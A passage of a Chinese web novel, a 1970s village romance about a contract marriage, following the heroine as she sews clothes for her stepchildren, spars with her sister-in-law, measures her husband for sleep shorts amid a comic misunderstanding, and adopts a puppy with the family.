姜汤喝了确实暖身,暖得他一身汗,又热又难受,不过侦察兵出身的他,再恶劣的环境都待过,纵使难受,疲惫的精神放松下来后,也能睡着。 不过退伍时间久了,长期不接受高强度训练,身体耐受力也会下降,后半夜他一直迷迷糊糊睡得不实,感觉身体在湿热泥泞的沼泽地里不断下沉,生存的本能让他下意识要抓住点什么。 …… 天蒙蒙亮,在生物钟的作用下,傅青山准时睁开眼,入目便是谢晚棠浓密的长睫,小森林一样的睫毛下,鼻梁弧度好看,因为侧躺微微嘟起来的粉唇更像是无声的邀请。 被香软的气息浸润着,傅青山怔愣片刻才反应过来,他一改平时平躺睡觉的习惯,竟然和谢晚棠面对面侧躺,左手还紧紧扣着谢晚棠纤细的腰身,把人圈在怀里。 亲昵的姿势,宛如真正的夫妻。 谢晚棠早晨一般睡觉沉,醒的晚,傅青山便鬼使神差地没有马上拿开手臂,安静地维持着这个姿势,直到过了一会儿,听到身后大刚起来的声音,他才不动声色地抽回手,起身下炕。 父子俩关上炕间的门,出去洗漱。 洗漱完,大刚抱进来草,然后就去拨弄他的菜园了。 杂草比种子生命力强,菜种还没发芽,草芽就长出来了,大刚把它们全部掐灭在摇篮里。 傅青山烧火做饭,他做饭比谢晚棠做的好,但是也只会谢晚棠教的那几样。 谢晚棠睡醒下来,就看到锅里三天如一日的玉米面粥。 就算是好吃的东西,也不能天天吃啊! 谢晚棠视线从锅里移开,先打量一圈傅青山,看着好像没什么事:“你感冒好了?” 傅青山怔了片刻才反应过来自己昨晚“被感冒”了,嗯了声。 谢晚棠满意:“我就说姜汤有用吧!” “……” 关于姜汤的话题,他一句都不想接。 傅青山病好了,谢晚棠心情也好:“家里还有白面,明早做西红柿蛋花疙瘩汤吧!” 傅青山的注意力根本不在吃什么上,他不动声色地打量谢晚棠的神色,确定早晨的事她真的一点都不知道,紧绷的心才放松下来,点头嗯了声。 只要谢晚棠喜欢,别说是一顿白面疙瘩汤,就是天天吃白面,他也能想办法弄来。 谢晚棠:“那你明早起来的时候叫我一起,我教你做。” 傅青山眼前浮现出谢晚棠早晨睡觉的模样:“你跟我说说,我照着做就行。” 早起对21世纪熬夜星人谢晚棠来说是非常非常难的,如果不早起就能吃上美味早餐,那简直是再好不过咯! 鉴于傅青山的学习能力非常强,谢晚棠就直接跟他口述了一遍她之前看妈妈做疙瘩汤的过程。 傅青山听完,点点头:“会了。” 谢晚棠佩服得竖起大拇指,跟聪明的大佬相处真舒服,一点都不用多费口舌。 吃早饭的时候,傅青山说中午他回来做饭。 谢晚棠:“你下午还可以不上班?” 这个年代的公务员这么爽的吗? 傅青山:“吃完午饭再回去,来得及。” “啊?”谢晚棠没想到是这样,“那你中午来回光路上就得快两个点了!” 午休什么的更不用想了。 傅青山单位免费管饭,他要回来做饭,就是不放心他们娘六个。 不过不让傅青山回来吧,她又没信心能做好6个人的饭。 要是搁在三天前,她肯定盲目自信,一顿小小午饭,包在她身上! 可是事实一次次打脸,她也不得不重新认识自己…… 谢晚棠正犹豫着,兰兰抬头道:“我做吧。” 兰兰昨晚展示了不同凡响的刀功,谢晚棠的印象中,刀功跟厨艺一般都是匹配的。 谢晚棠:“那就姐姐做饭,我负责给姐姐烧火打下手!” 兰兰看了眼谢晚棠,抿了抿唇,很快垂眸,嗯了声。 二刚举手:“那我负责抱柴火!” 小刚也很积极:“我负责洗菜!” 妞妞一看活都分完了,着急得不行,谢晚棠笑道:“那妞妞就负责给端水吧!” 妞妞分到活开心:“好!” 午饭安排好,傅青山也放心了,吃完早饭就去镇上上班了。 谢晚棠请了5天假,不能继续歇了,嘱咐好小刚在家照顾妞妞,就和两个大的一起去上工了。 玉秀穿着谢晚棠给她做的新衣裳,跟谢晚棠在一块干活,宛如一对姐妹花。 两人闲聊着,干活的速度不减。 玉秀笑:“俺二哥昨晚回来穿上你做的新衣裳,美得不行了,拿着镜子照来照去,恨不得今天就去上沟村相亲,可惜相亲的日子是早就约好的。” 玉秀说得栩栩如生,谢晚棠都能想象出来那个画面,笑道:“有缘千里来相会,早晚都不耽误。” 玉秀点头:“对,俺娘也这么跟俺二哥说的,是你的早晚都是你的,瞎猴急!” “呦,薅个草还得手上缠上布,地主家的小姐真是娇气呢!” 熟悉的刻薄声自身后响起,谢晚棠闻声回头,就看到傅青宁叉着腰,居高临下地俯视她,眼神里充满了仇视。 一看就是因为昨天中午的肘子和晚上的饺子都没有蹭吃成功,怀恨在心,不爽着,所以来找事。 玉秀一下子站起来:“嫂子手上缠不缠布关你什么事?你手糙,还不兴人家手嫩了?” 玉秀手皮也薄,不过之前摸谢晚棠的手,谢晚棠一双手那是真的嫩,又白又嫩,有时候被草叶子划一下就破皮。 傅青宁哼了声,瞥了眼谢晚棠:“农村妇女,多干干活就不嫩了,早点适应吧!” 大嫂三嫂刚嫁过来的时候,手也嫩,现在呢,还不是又糙又粗。 谢晚棠撑着膝盖站起来,跟傅青宁平视,脸上没了刚才的笑模样,冷声道:“我就是做副手套带着干活,你管着了?” 傅青宁刚要反驳,谢晚棠继续道:“就算我曾经是地主家小姐,现在我过得也是无产阶级贫下中农的苦日子,用自己的双手和劳动挣公分,由得你一张破嘴在这随口瞎逼逼?” “你你你——”傅青宁被骂得脸通红,“你说谁破嘴!” 谢晚棠根本不理会她的急躁,扫了一眼傅青宁负责薅草的那一片,半上午了还是杂草一片,一看就是光顾着臭哄她了,没心思干活。 “娇不娇气不重要,集体劳动,重要的是每个人都把自己分内的活干活,别偷懒磨洋工让别人给你擦腚,你这样的行为就像蚂蟥吸别人的血没有区别。” 谢晚棠声音不低,周围许多妇女都看着,确实,傅青宁少干的,她们就得多干。 傅青宁气得咬牙,指着谢晚棠的鼻子大声道:“要是都像你似的天天吃大肘子吃白面,谁干不动!哪个贫下中农天天吃香的喝辣的?你敢说那都是你劳动得来的?!” 分家的时候要不是谢晚棠把家里的钱都拿走了,那吃香喝辣的就是她傅青宁!谢晚棠算个什么东西,也配花她家的钱! 一听到肘子白面,周围的妇女惊诧之余便开始嘁嘁喳喳,傅青宁看大家都开始议论谢晚棠,心里爽了,得意地扬起下巴,看谢晚棠怎么狡辩! 没想到谢晚棠不但不惊慌,反倒笑了:“哦,原来是嫉妒我吃得比你好,那简单啊,你也找个有钱的男人嫁了,也吃大鱼大肉就是了。” 傅青宁才不示弱,下巴扬得更高:“谁嫉妒你了!我以后要嫁进城里吃商品粮,你这乡下的泥腿子,给我提鞋都不配!” 二哥可是镇武装部长,镇上有的是人求着二哥办事,给她从镇上找个吃商品粮的对象,还不是动动嘴皮子的事! 她就是要进城去吃香的喝辣的,过好日子,气死谢晚棠! 谢晚棠微笑:“那就提前预祝妹妹心想事成。” 两人一顿battle吸引了周围的注意力,妇女主任刘秀香和宣传队长郭燕过来,只听到个尾巴:“什么心想事成?” 谢晚棠便笑着把傅青宁要嫁进城里吃商品粮的美梦讲了,对两人道:“刘主任经常去镇上开会,郭队长也常出去宣传,遇到城里的好青年,多给我们青宁留意着点。” 刘秀香和郭燕:“……” 郭燕打量面前的大黑妞,这年头城镇户口多难弄,傅青宁可真敢想。 人家吃商品粮的男人图她黑?图她丑?还是图她懒?图她馋? 人真是该有点自知之明。 刘秀香闻声皱眉,作为妇女主任,她有责任教育傅青宁:“做人要脚踏实地才是!” 傅青宁不服:“嫁进城里怎么就不脚踏实地了?你们就是一辈子只能待在这泥地里,所以才嫉妒我!哼!你们等着,我早晚嫁进城里给你们看!” 说完傅青宁重重哼了一声,扭头跑了。 不光刘秀香和郭燕无语,玉秀听了都无语:“城里男人眼都瞎了?打着灯笼找她这样的。” 谢晚棠只当个笑话看,拍拍玉秀肩膀:“不用管她。” 刘秀香和郭燕也摇摇头,不再说傅青宁。 她们是来找谢晚棠问做衣裳的事,因为过些日子就要秋收忙着收花生了,谢晚棠就跟两人约好,今晚吃完晚饭来她家量尺,赶在秋收忙之前给做出来。 郭燕秋收前要去宣传,听谢晚棠说秋收前就能做好,高兴得不行。 中午头热,人燥得难受,谢晚棠下工前就计划好了中午的菜。 西红柿炒蛋,黄瓜拌虾米,再糊个二合面饼子,清淡又爽口。 中午下工回家,按照早晨分工的,兰兰担任大厨,其他人当小工,在家忙忙碌碌开始做起午饭。 二刚帮着抱完草,被大刚拽到炕上,两个臭皮匠在炕那间一起憋那300字检讨。 “宝根的根怎么写?” “我也想不起来了,要不用拼音吧!” “保证的证怎么写?” “我也不记得了,也用拼音吧!” “你怎么什么都不记得,你一天天都去上的什么学!” “你上得好那你自己写吧,别找我了。” “回来!接着写!” …… “哎呀真是愁死个人了!大哥你以后能不能别打架了,要是以后你一打架爹就让你写检讨,那不坏了?!” “知道了!” …… 吃完饭,谢晚棠和妞妞小刚兰兰都要睡了,兄弟俩还没写完检讨,抓耳挠腮的样子,看起来确实比罚站一晚痛苦多了。 谢晚棠心里笑,她阴差阳错地提了个不错的惩罚方式呢,惩罚嘛,就是要让人一想就头大,不然哪里有效果,估计大刚短时间内都不想再冲动行事了。 不过家里小朋友们的文化水平真得是有点差,别的不说,这识字可是最基本的要求了。 也没办法,这个年代,城里上完初中就上山下乡,村里更不行,上完小学就拉倒了,而且小学也不是板板正正上下来,上午上课,下午老师就领着去劳动挣工分了,要是赶上农忙,学校都得停课帮着大队秋收。 总得来说,教育在这个特殊时期并没有被重视,以至于几年后恢复高考,第一年的高考题难度都很低,因为大家实在是太久没有好好读过书了。 谢晚棠记得镇上有个小书店,等着晚上傅青山回来跟他商量一下,看看书店里有没有什么通俗易懂的故事书,买几本回来给孩子们看看,先不说他们是不是读书的料,以后能不能考大学,好歹多认识点字,总是没错的。 下午下工的时候,谢晚棠和兰兰先去玉秀家的自留地里割了些韭菜,摘了四个粉粉的大西红柿,回去做韭菜炒蛋,再拌个糖柿子。 这个年代调味品也稀缺,傅青山单位发的票也不多,上次去供销社就买了半斤糖,不过也不能因为少就吃得抠抠搜搜不痛快,不如少吃几次,每次都吃好。 兰兰切好两盘柿子,谢晚棠厚厚地洒上一层糖,白色的糖很快融化在西红柿的汁水里,化作透明。 兰兰惊讶地瞪大眼,这可是平常人家半年的份量…… 不过这样确实好吃就是,而且后妈在吃上边向来就是这样不抠门的性格,所以兰兰并没有出声。 傅青山回来以后,父女俩在当门里烧火、烀饼子,摘韭菜,谢晚棠也帮不上忙,趁着天还没黑,先去炕间给兰兰做衣裳去了。 开始下地劳动以后,她只能抽晚上下工回来的时间做衣裳,好在家里有人做饭,不然还真忙活不过来。 烀饼子和韭菜炒蛋做起来快,饭上桌的时候,谢晚棠还剩扣子没缝,就先堆在缝纫机上去吃饭。 吃完饭,孩子们帮着收拾桌子,谢晚棠留不得活过夜,下炕穿上线缝扣子,扣子是在供销社配好色买的,草绿色的塑料扣子,配嫩绿格子衬衣颜色刚刚好。 缝完把线头剪干净,谢晚棠喊兰兰。 兰兰原本在外边帮着傅青山压水刷碗,听到谢晚棠叫,傅青山说这边不用她,让她进屋去看看什么事。 兰兰点头,洗手擦干,推门进门,还没来得及问出口什么事,谢晚棠笑起来的两个小酒窝先映入眼帘,手上拿着件绿色格子的确良衬衣和裤子放她手上:“穿上看看合不合适,不合适我再改。” 说完,谢晚棠跟她擦肩而过出去了,还给她把炕间的门关上了。 兰兰怔了*半晌,才回过神来,指尖小心地摸了摸滑溜的的确良料子,仍然感觉到不可思议。 做饭的时候,她偶尔往炕间瞅一眼,就看到谢晚棠在缝纫机前做这身,好看的颜色,金贵的布料,兰兰当然喜欢,但从没想过会是她的。 弟弟妹妹们的新衣裳都是土布做的,也很好看,谢晚棠能给她做一身新的土布衣裳,她就很知足了,却没想到,唯独给她做了一身好看的的确良。 以前家里就小姑有一身粉色的确良,她们都只有看得份,别说的确良了,土布都得打补丁呢。 几个小的在院子里玩,大刚又去钻研他的菜园了,傅青山坐在压井旁刷碗。 谢晚棠伸了个懒腰,抻了抻酸胀的肩膀,拿了个板凳到傅青山身边坐下,跟他说给孩子们买点故事书看的事,傅青山手上的活没停,闻声看了她一眼:“可以,下次再去镇上,你来挑。” 谢晚棠感觉和傅青山相处还真挺舒服的,傅青山这个人特别爽快,无论是吃的用的,问他什么,都是一句“听你的”,从来没有墨迹过。 怪不得以后能成为大佬呢,果然性格决定成败! 磨磨唧唧的男人最没出息了,本事都用在家里跟老婆孩子叨叨了。 刘秀香和郭燕推门进来,看到的就是这一幕。 傅青山穿着板正的半袖衬衣在刷碗,谢晚棠坐在他旁边不知道在说什么,笑得眉眼弯弯,傅青山宠溺的视线一眨不眨地落在她脸上,新婚夫妻看起来恩爱无比。 郭燕干宣传的嘴皮子比脑子快,还没过脑子就把内心的惊讶问了出来:“傅部长!你在家居然还刷碗?!” 不怪她惊讶,下沟村的男人,别说有出息的,就是那没媳妇的光棍子在家都不刷碗。 没结婚的时候老娘干,结了婚老婆干,好像男人天生就不该干家务活似的。 傅青山一个大部长,而且平时在外边又冷又硬的,谁能想到在家居然还刷碗??? 傅青山闻声抬下眼皮,手上没停,表情语气哪还有刚才的宠溺恩爱,一秒恢复平常那副冷淡的样子:“不行?” 第28章 谢晚棠突然弯腰,侧脸贴在他小腹处。 郭燕被那冷若冰霜的眸子瞥了一眼,浑身一激灵。 不行? 怎么不行!当然行! 傅青山这种在家能帮媳妇分担一部分的男人,哪个女人不想要! 村里的女人又要下地挣工分,又要回来洗衣裳做饭,上要伺候老下要照顾小,天天忙得跟陀螺似的,男人呢,干完地里的活就啥也不管了,个个都是潇洒的甩手掌柜。 郭燕很佩服傅青山能放下男人架子,弯下腰来做这些家务事,当即给予肯定:“行!很行!咱们下沟村的男人都应该跟你学习!哦,不,咱们整个大沟镇的男人都应该跟你学习!” 傅青山表情不置可否,没有因为郭燕的表演表现出一丝高兴或者自满情绪,只是低头继续干自己的活。 谢晚棠看郭燕使劲朝她使眼色,笑着抿唇起身:“郭队长,刘主任,我们进屋吧。” 进了当门,郭燕压低声音对谢晚棠道:“晚棠,快把你的驭夫小手段交出来。” 谢晚棠回头看了一眼坐在压井旁正在认真刷碗的男人的背影,笑道:“我哪有什么手段啊。” 郭燕啧了声:“别藏着掖着嘛,我也想回去驯驯我家那个,也帮我干点活让我轻快点。” 谢晚棠无奈苦笑:“真没驯,你看我像是能驯得了他的样吗?他就是……自己对家庭有责任心?不跟别的男人攀比?” 其实谢晚棠也不知道傅青山为什么愿意在家里干这些家务活,大概就是男人他自己想承担的,不用驯就会主动去做,那些打心底里不想承担的,驯估计也没用。 再就是,傅青山是党和国家培养出来的优秀军人,谢晚棠想了想部队那严格的内务卫生要求,猜测道:“也可能是部队的功劳吧?” 郭燕听完彻底死心了,不管是对家庭的责任心,还是不攀比,还是部队教育的好,她们的男人都没法再回炉重造了。 刘秀香笑着打趣郭燕:“行了,你跟人家恩爱的新婚小夫妻能比嘛,而且咱晚棠还跟仙女似的好看,我看啊,确实是不用驯,晚棠只要肯笑一笑,别说是刷碗了,青山恨不得把月亮都摘下来送给晚棠呢!” 郭燕啧啧摇头:“也是,老夫老妻了,我想驯人家也不听了。” 被叫恩爱小夫妻,谢晚棠真是心虚极了,话说主任是从哪里看出来他们恩爱的? 明明是没得感情的合约夫妻。 好在兰兰适时推开炕间的门出来,打断了郭燕和刘秀香的驯夫话题,谢晚棠这才长舒一口气。 谢晚棠上前去看了看肩头和袖窝:“看着是合适的,抬抬胳膊活动一下试试有没有哪里不得劲?” 兰兰抬了抬胳膊:“都得劲。” 谢晚棠满意:“那就行!很漂亮!” 郭燕看兰兰一身合身的嫩绿好看,伸手一摸,竟还是的确良的料子,惊讶地看向谢晚棠:“你给做的?” 谢晚棠点头。 郭燕不可思议:“你自己天天穿粗布,给兰兰做的确良?你这后妈当得真牛!我服!” 兰兰闻声看向谢晚棠身上的土布衣裳,确实,除了结婚的时候一身红色的确良,谢晚棠的衣裳都是土布的,去镇上买的布料里只有这两块是的确良,还都给了她。 兰兰心里说不出是什么滋味,只觉得对先前带着弟弟妹妹无声地跟谢晚棠对着干的行为很愧疚。 谢晚棠进门以来的行为处事都很大方,显得他们一上来就小气了。 谢晚棠笑:“我们兰兰才14,正是娇俏的年纪,当然要穿娇俏的颜色了!” 她跟兰兰这么大的时候,也是美丽当头,舒适靠后,所以她很理解,每个年纪都有每个年纪的想法,而且都值得被尊重。 后来不用妈妈说就自觉穿上秋裤以后,就长大了,自然就开始懂得追求舒适了。 看着谢晚棠才嫁过来没几天就把几个孩子都打扮得干干净净漂漂亮亮的,简直是村里后妈的典范,刘秀香满意极了。 上次去镇上开会,镇政府提出每个村选几个五好家庭出来,带动村风民风,她看谢晚棠家就很有代表性,男人居家能干,女人爱护孩子。 谢晚棠看兰兰一个大姑娘在她们一群妇女堆里也没话说,随口一句让她去看着弟弟妹妹别磕着,解脱了兰兰。 谢晚棠和刘秀香郭燕进了炕间,两人拿出来布料给谢晚棠,刘秀香想做身谢晚棠身上穿的这种休闲宽松舒适的,郭燕要出去宣传穿,想做身精神立整的衬衣。 “没问题。”谢晚棠给两人量完尺记下来。 郭燕瞥到谢晚棠堆在樟木箱上的一大摞各色土布,惊讶道:“你买了这么多布?!” 谢晚棠偏头看了一眼:“买的多可以讲价,家里孩子多,一人不得两身换洗着,还得做鞋,天冷了还得续棉袄,这些还不知道够不够呢。” 郭燕问她买的多少钱一尺,两人一对价钱,谢晚棠一尺布比她便宜5分钱呢! 郭燕叹气:“早知道让你捎着买!还省钱!” 谢晚棠笑:“下次给你们捎。” 郭燕满意:“好!” 刘秀香和郭燕不是空着手来的,刘秀香带了四个她婆婆腌的咸鸭蛋,郭燕拿来了半斤多绿豆:“不多,你别嫌弃,是我去邻村做宣传的时候他们给的,中午头热,熬点绿豆汤喝解暑。” 谢晚棠自然不嫌弃,这可都是新鲜玩意儿:“太好了!明天就给孩子们尝尝鲜!我就做件衣裳你们还给我带这些东西,你们家娃入秋的衣裳我都包着给做了!” “那感情好!”刘秀香和郭燕都地里、家里、队里三头忙,谢晚棠能帮着分担一些,而且她做衣裳又立整又好看,两人自然是高兴。 家里还一堆事,刘秀香和郭燕坐了会就要走,谢晚棠出去送,一出当门就看到傅青山又坐在压井那儿洗自己的衬衣。 刘秀香和郭燕真是彻底服了,不光刷碗还自己洗衣裳,傅青山到底还有多少是她们不知道的! 这样能干的男人,谁不眼馋! 谢晚棠真是个有福气的女人。 谢晚棠出去送完刘秀香和郭燕回来,傅青山叫住她,就看到傅青山把她昨天换下来的那身晴蓝衣服也放盆里了,倒上水要洗。 谢晚棠赶紧道:“那个,我自己洗就行。” 只是合约夫妻,傅青山刷碗做饭她都觉得OK,洗他自己的衬衣甚至洗孩子们的衣裳都OK,但给她洗衣服……好像有点不太好意思。 傅青山闻声没说话,只是掀起眼皮,看了一眼她右手。 谢晚棠顺着他的视线,抬起手来看,前天洗衣裳搓的时候中指一二指节中间磨掉了一片皮,已经结痂了,如果再搓的话,痂肯定会磨掉,再露出里边的嫩肉…… 谢晚棠突然就想厚脸皮顺着傅青山给的杆爬上去了:“那……辛苦你了!不过你放心,我一定会报答你的!” 总不能只让傅青山付出,她也要为傅青山做点什么!等她慢慢想想。 这么一想,谢晚棠心里舒坦多了,哼着歌进门继续做衣裳。 傅青山透过炕间的窗,看到烛光中纤细的身影,脑子里全是刚刚谢晚棠那句“报答”,谢晚棠会怎么报答他? 点着蜡用缝纫机看不清,使劲眯着眼看还伤眼睛,谢晚棠把郭燕和刘秀香的衣服裁好就放起来,计划着明天下工回来趁天还没黑快点跑起来。 然后又约莫着大刚的身形,抽了块深灰色的布料出来,给大刚裁了一身。 弯着腰站在炕前裁衣裳久了,肩膀酸得厉害,谢晚棠自己转着脖子揉着肩膀,抬眸就看到窗外傅青山已经洗完了衣服,正在往绳上晾。 傅青山比她高一头多,胳膊也长,她需要踮着脚尖才能够着的晾衣绳,傅青山只要抬抬胳膊,就把衣服一件一件搭了上去。 男人宽肩窄腰长腿的身材,简直是天生的衣架子,丝毫不输谢晚棠以前见过的那些专业男模,衬衣原本齐齐整整地扎进长裤的裤腰,因为抬手带出一点,有一种充满生活气息的美感。 看着那窄腰下的长裤,谢晚棠突然感觉,合约夫妻睡在一起确实有诸多不便,这些日子,傅青山都是穿着长裤入睡,所以才会半夜热得起来冲凉冻感冒了吧。 他体谅自己不会做家务主动承担那么多,自己也该多在其他方面替他想一些才是。 谢晚棠突然想到了一个最实用的报答傅青山的好办法! 看傅青山晒完了,谢晚棠走到当门那儿:“傅青山,你进来一下。” 傅青山正在弯腰倒盆里的水,闻声回头,谢晚棠已经回去了,他麻利干完手上的活擦干手进屋。 一进炕间,谢晚棠就把他叫到蜡烛旁,视线直接奔他裤腰以下而去,借着烛光,毫不避讳地打量他下半身。 从没被女人这样直勾勾地看过,傅青山下意识皱眉,片刻后反应过来谢晚棠刚才在外面说的“会报答他”,难道是…… 正在犹豫要不要拒绝谢晚棠这样的报答行为,谢晚棠突然弯腰,侧脸贴在他小腹处,双手伸到他身后,碰触到他腚的瞬间,他自腰以下条件反射般紧绷,却压不住疯狂奔涌的血流,叫嚣着冲向一处。 那距离谢晚棠的脸不过10公分,傅青山深吸一口气,抬手放在谢晚棠肩膀:“你,其实不用这样。” 下一秒,谢晚棠脸就离开了他的小腹,微微弯腰,两只手捏着个皮尺围着他松松量了一圈,堪堪就要碰到他那里。 谢晚棠收回尺,又抬手搭在他腰上,弯腰往下一扯到大腿中间,然后站起身,不解地看他:“你刚才说什么?” 第29章 小辣椒再会玩,也不如大地瓜! 不过半米的距离,两人面对面站着,连对方呼吸的节律都听得清清楚楚。 谢晚棠微微仰头看他,那水润的杏眸如清澈山泉一般透亮,带着一丝疑惑,在等他的回答。 傅青山都怕谢晚棠听到他心脏砰砰砰的强烈跳动声,下意识攥紧指尖,瞥了眼谢晚棠手里的软尺:“你要干什么?” 谢晚棠闻声笑得肆意,声音甜甜的,两个小酒窝像是吸引人的漩涡:“报答你呀!” 傅青山皱眉,感觉心脏被谢晚棠随口一句话就勾得忽上忽下,落不到实处。 谢晚棠转身,拍拍她身后樟木箱上的一摞布料:“你喜欢什么颜色?” 头脑发热,失去判断,在谢晚棠热情的视线里,傅青山稀里糊涂指了黑色。 谢晚棠点头:“我给你做条短的睡裤吧!还透气。你每天穿这个的确良长裤睡太热了!” 傅青山闻声愣了片刻,才彻底反应过来,刚才谢晚棠弯腰贴着他离他那样近,其实只是为了给他量尺寸,根本不是他想的…… 谢晚棠把黑色土布扯出来,突然想起来刚才被打断的话题,又问了一遍:“你刚才说什么?什么我不用这样?” “……” 傅青山本就不擅言辞,此刻更觉得嘴上像是被糊上了胶水一样张不开。 被谢晚棠纯净好奇的视线直直地盯着,傅青山突然有一种强烈的自卑感,跟谢晚棠一比,他好像那样龌龊和变态,竟然会想到谢晚棠要给他…… 傅青山咬唇,半晌才道:“我,我看到你把那身的确良料子给兰兰做了衣裳,其实,你不用这样委屈自己。” 他实在不是个会撒谎的人,只能半真半假地拙劣回应。 他不心疼兰兰穿的确良,他只是觉得,谢晚棠有些委屈自己,兰兰和她都穿的确良,他也完全供得起。 当然,这也的确不是他刚才在想的事。 是而,说完他心虚地移开视线,避开与谢晚棠的直接对视。 谢晚棠闻声笑了:“我不委屈啊!我喜欢穿土布,土布多透气舒服。” 而且她没法告诉傅青山,时尚是一种循环,后来土布也流行过,还成为一种时尚呢!而她曾经有幸成为引领这时尚的一份子! 看傅青山并不太赞同的眼神,谢晚棠也理解,毕竟每个时代的人都有自己的审美观。 她单手叉腰像小模特一样骄傲地展示自己设计的衣裳:“我觉得不管是土布还是的确良,每种布料都可以做出好看的衣服,关键在于怎么发掘出它潜在的美感,难道你不觉得我做的土布衣裳也很好看吗?” 傅青山闻言,下意识打量谢晚棠,他不懂做衣裳,但他有眼睛,会看好不好看。 谢晚棠白皙的皮肤,纤细的身量,他感觉她穿什么都好看,与材质无关。 但是因为前边失言已经给自己挖了坑,傅青山也学聪明了:“好看。” 少说话肯定没有错。 谢晚棠果然满意,也没有对他前边半真半假的回应质疑,傅青山面上镇定,心里长舒一口气,胡思乱想的小兄弟也终于心无旁骛地安静下来。 大门被推开,谢晚棠刚把布料铺好准备裁睡裤,抬头往外看了一眼,“孩子们回来了。” 傅青山起身去当门,几个孩子把他围上,妞妞小手抓住他食指,乖巧地仰头看他,说话声音软软糯糯:“爹,玉秀姑姑家的小狗要分窝了,我们可以抱一只回来养吗?” 妞妞说完,紧张地咬唇,眨巴着眼睛看着傅青山。 小刚和二刚也充满渴望地仰头看他,生怕被拒绝的样子。 其实玉秀家去年落小狗的时候他们就想养,毕竟没有哪个小孩子能抵挡毛茸茸小动物的诱惑,但当时跟奶奶一提,奶奶就骂他们人还养不活呢,还要养狗!直接击碎了他们的愿望。 如今分家了,家里是爹说了算了,他们就想再试一次,而且爹一般都对他们有求必应。 傅青山回头看了一眼炕间:“去问你娘,家里的事你们娘说了算。” 傅青山对养狗没什么意见,但他不确定谢晚棠喜不喜欢狗,愿不愿意孩子们养。 几个孩子咬唇,面面相觑,虽然娘又给他们穿新衣裳又给他们吃好吃的,但他们也不确定娘愿不愿意他们养小狗。 三个小孩深吸一口气,拉着手正要去炕间争取娘的同意,就见娘探头出来,惊喜地看着他们:“养小狗?这么快就分窝了?好啊好啊!我最喜欢小狗狗了!!!” 前世因为妈妈对狗毛过敏,家里不能养小动物。 她从小就一直特别羡慕同学家可以养狗,放了学都经常去同学家摸小狗。 没想到穿书以后不仅可以养狗了,还有了大院子,可以让狗狗尽情玩耍。 三个小孩没想到他们还没问出口娘居然就同意了!简直欣喜若狂!当场就要去玉秀家抱回来! 谢晚棠犹豫,虽然她也想赶紧拥有可爱的小狗狗,但是,她看了一眼外边的天色:“太晚了,天都黑了,路上不安全,要不明天再去抱吧。” 三个小狗一脸小可怜样,期待地看向傅青山。 傅青山想了想:“我领他们去吧。” 谢晚棠这才放心:“那行。” 三个小孩高兴地跑着跳着跟着傅青山去玉秀姑姑家抱小狗了,谢晚棠的心情也跟着轻快起来,哼着歌回炕间继续给傅青山裁睡裤。 兰兰没跟着去,谢晚棠裁衣裳的时候,她默默进来帮着把裁掉的布头都收起来。 虽然兰兰没说话,但是已经愿意主动跟她共处一室了,谢晚棠对这种改变很知足,于是主动跟兰兰说话:“这些布头留着做鞋,不过我手缝太慢,估计一时半会还做不出来,还得等些日子。” 越是不熟练的活,就越愁着干。 哎。 兰兰手上捏着布料顿了下,片刻后抬眸看她一眼,低声道:“我会做鞋。” 谢晚棠惊讶:“你这么小就会做鞋?” 回想她自己,14岁的时候别说做鞋了,那时候上初中,妈妈让她专心上学,刷鞋都是妈妈给她刷。 兰兰并不觉得自己小:“跟着大娘学的,大仓二仓立春,还有大柱二柱的鞋,他们的鞋都是我做的。” 大仓二仓立春是傅大哥的三个孩子,大柱二柱是傅老三家的。 吃完饭兰兰换完衣服出来的时候,谢晚棠就注意到兰兰穿的鞋还打着补丁,跟新衣裳并不搭。 兰兰给别人家的孩子做了那么多鞋,她自己和兄弟妹妹们却只能穿旧鞋,让谁听了都觉得不是滋味。 谢晚棠深吸一口气,不去想过去那些不愉快,主动邀请:“那兰兰能帮我做鞋吗?我计划给家里每个人都做两身衣裳两双鞋,好换洗着穿,要不然出了汗一股子馊味,工程量太大,急需一个小帮手!” 兰兰闻声眼睛亮起来:“可以!我可以负责做鞋!” 谢晚棠给她竖起大拇指:“兰兰你也太厉害了,又能做饭,又会做鞋,我要向你学习!” 兰兰被夸得脸红,没分家之前她就一直干这些活,从来没人说她厉害。 兰兰红着脸小声道:“你也有很厉害的地方。” 谢晚棠笑:“那我们就各自发挥自己擅长的!” 兰兰:“好!” 兰兰也是个麻利的姑娘,说着就开干了,二刚和大刚的脚多大她都知道,直接开始画鞋样。 谢晚棠裁睡裤的时候,时不时扫一眼认真干活的兰兰,内心欣慰。 虽然兰兰没有像那三个小的似的叫她娘,但兰兰愿意靠近她,跟她说话,还主动帮她分担家里的活,这都是对她认可接受的表现。 两人在家里边干活边聊着缝纫上的事,外边传来大门开关的声音。 兰兰抬头看了一眼:“爹他们回来了。” 谢晚棠好奇抱回来的小狗狗什么样,赶紧几下跑完傅青山的睡裤:“我去看看!” 兰兰看着谢晚棠着急的身影,突然感觉她的性格像个小孩一样,很可爱,莫名的让人喜欢。 二刚抱着小狗,一见到谢晚棠和兰兰就激动地喊:“娘!姐!抱回来了!” 外边黑,谢晚棠让他抱进当门来看:“呦,小黑狗啊,真好看啊!” 小家伙刚离开妈妈的怀抱,可能很不安,使劲往二刚怀里蹭。 巴掌大的毛茸茸太可爱了,谢晚棠伸手,小心地摸它柔软顺滑的毛,还带着暖和和的温度:“给它取个什么名字好呢?” 叫小雪花也很可爱呢!它额头上有一搓白,像是下雪落下的小雪花。 二刚:“已经取好了,叫小黑!” 谢晚棠:“……” 看小刚和妞妞已经小黑小黑地叫了,谢晚棠只得接受她的可爱小狗拥有了一个烂大街的名字。 傅青山用上次剩下的木头给小黑钉了个小狗窝,就放在屋檐下,一出当门就是。 小刚妞妞和二刚之前换下来的补丁衣裳谢晚棠没扔,洗了晒干了原本打算当抹布用的,挑了两件给小狗铺窝里,让它有个舒舒服服的家的感觉。 忙乎完,三个小的和兰兰在外边围着摸小狗。 大刚正好回来了,傅青山把他叫进去。 谢晚棠进炕间的时候,就看到傅青山正皱着眉头看大刚的检讨,虽然傅青山平时也经常皱眉,但今天更愁的样子。 谢晚棠偏头,凑到傅青山身边,就着他的手打眼一看:“……” 可以说是让人眼前一黑的程度…… 【妞妞和小刚去玉秀古古jiawan,回来的时后bei刘大水jia的宝gen农哭了,我去刘大水jia找宝gen,宝gen他妈户着宝gen,让刘大水把我干出去,我不走,我门jiu打起来了。 …… 我不gai打人,我错了,我包zheng以后斤两不虫动。】 不光字写得像小鸡爪子,还错别字、拼音连篇,写对的字估计连一半都不到。 